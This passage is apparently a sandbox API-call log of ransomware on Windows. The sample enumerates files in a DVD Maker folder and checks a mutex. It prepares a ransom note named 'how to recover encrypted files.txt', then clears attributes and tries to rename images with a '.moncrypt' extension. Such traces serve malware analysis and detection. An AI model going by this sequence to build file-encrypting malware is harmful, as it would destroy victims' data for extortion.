(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.470] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", cchLength=0x35 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\") returned 0x35 [0057.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.470] GlobalLock (hMem=0x440004) returned 0x550170 [0057.470] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.470] GlobalUnlock (hMem=0x440004) returned 0 [0057.470] GlobalLock (hMem=0x440004) returned 0x550170 [0057.470] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.470] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.470] GlobalUnlock (hMem=0x440004) returned 0 [0057.470] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.470] GlobalUnlock (hMem=0x44000c) returned 0 [0057.470] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.471] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.471] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0057.471] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.471] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.471] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.471] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.471] GlobalUnlock (hMem=0x44000c) returned 0 [0057.471] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.471] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.471] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.471] GlobalUnlock (hMem=0x44000c) returned 0 [0057.471] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.471] GlobalUnlock (hMem=0x440004) returned 0 [0057.471] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.471] CharLowerBuffW (in: lpsz="16_9-frame-background.png", cchLength=0x19 | out: lpsz="16_9-frame-background.png") returned 0x19 [0057.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.472] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyGirl\\16_9-frame-background.pngt", lpUsedDefaultChar=0x0) returned 4 [0057.472] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.473] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.474] CloseHandle (hObject=0x18c) returned 1 [0057.474] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\я")) returned 1 [0057.475] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 0x54e280 [0057.475] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.475] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.475] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.475] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png", dwFileAttributes=0x20) returned 0 [0057.476] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.476] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.moncrypt")) returned 0 [0057.476] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0057.476] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.476] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.476] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.476] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.476] GlobalUnlock (hMem=0x440004) returned 0 [0057.476] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.476] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.476] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.476] GlobalUnlock (hMem=0x440004) returned 0 [0057.476] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.476] GlobalUnlock (hMem=0x44000c) returned 0 [0057.476] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.477] CharLowerBuffW (in: lpsz="16_9-frame-highlight.png", cchLength=0x18 | out: lpsz="16_9-frame-highlight.png") returned 0x18 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 77 [0057.477] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyGirl\\16_9-frame-highlight.png", lpUsedDefaultChar=0x0) returned 4 [0057.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 0x54e280 [0057.478] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.478] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.478] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.478] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", dwFileAttributes=0x20) returned 0 [0057.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.485] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.moncrypt")) returned 0 [0057.485] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0057.485] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.485] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, 